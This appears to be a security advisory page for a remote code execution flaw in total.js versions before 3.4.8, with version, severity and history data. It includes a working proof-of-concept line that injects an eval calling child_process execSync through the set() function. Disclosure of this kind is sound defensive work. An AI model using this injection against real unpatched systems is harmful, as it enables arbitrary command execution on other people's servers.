total.js Remote Code Execution Vulnerability
total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via set.
PoC
// To be run in a nodejs console:
require('total.js/utils').set({}, 'a;eval(`require("child_process")\\x2eexecSync("touch pwned")`);//')Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | total.js | < 3.4.8 | 3.4.8 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-94- Platform
- npm
- Package
total.js- Disclosed
- 19.03.2021
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-3wj8-vp9h-rm6m - CC BY 4.0
Vulnerability history: total.js
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 7
- First → latest
- 02.2019 12.2021
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 4
- Medium 1
Disclosures per year
- 2019: 2
- 2020: 0
- 2021: 5
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
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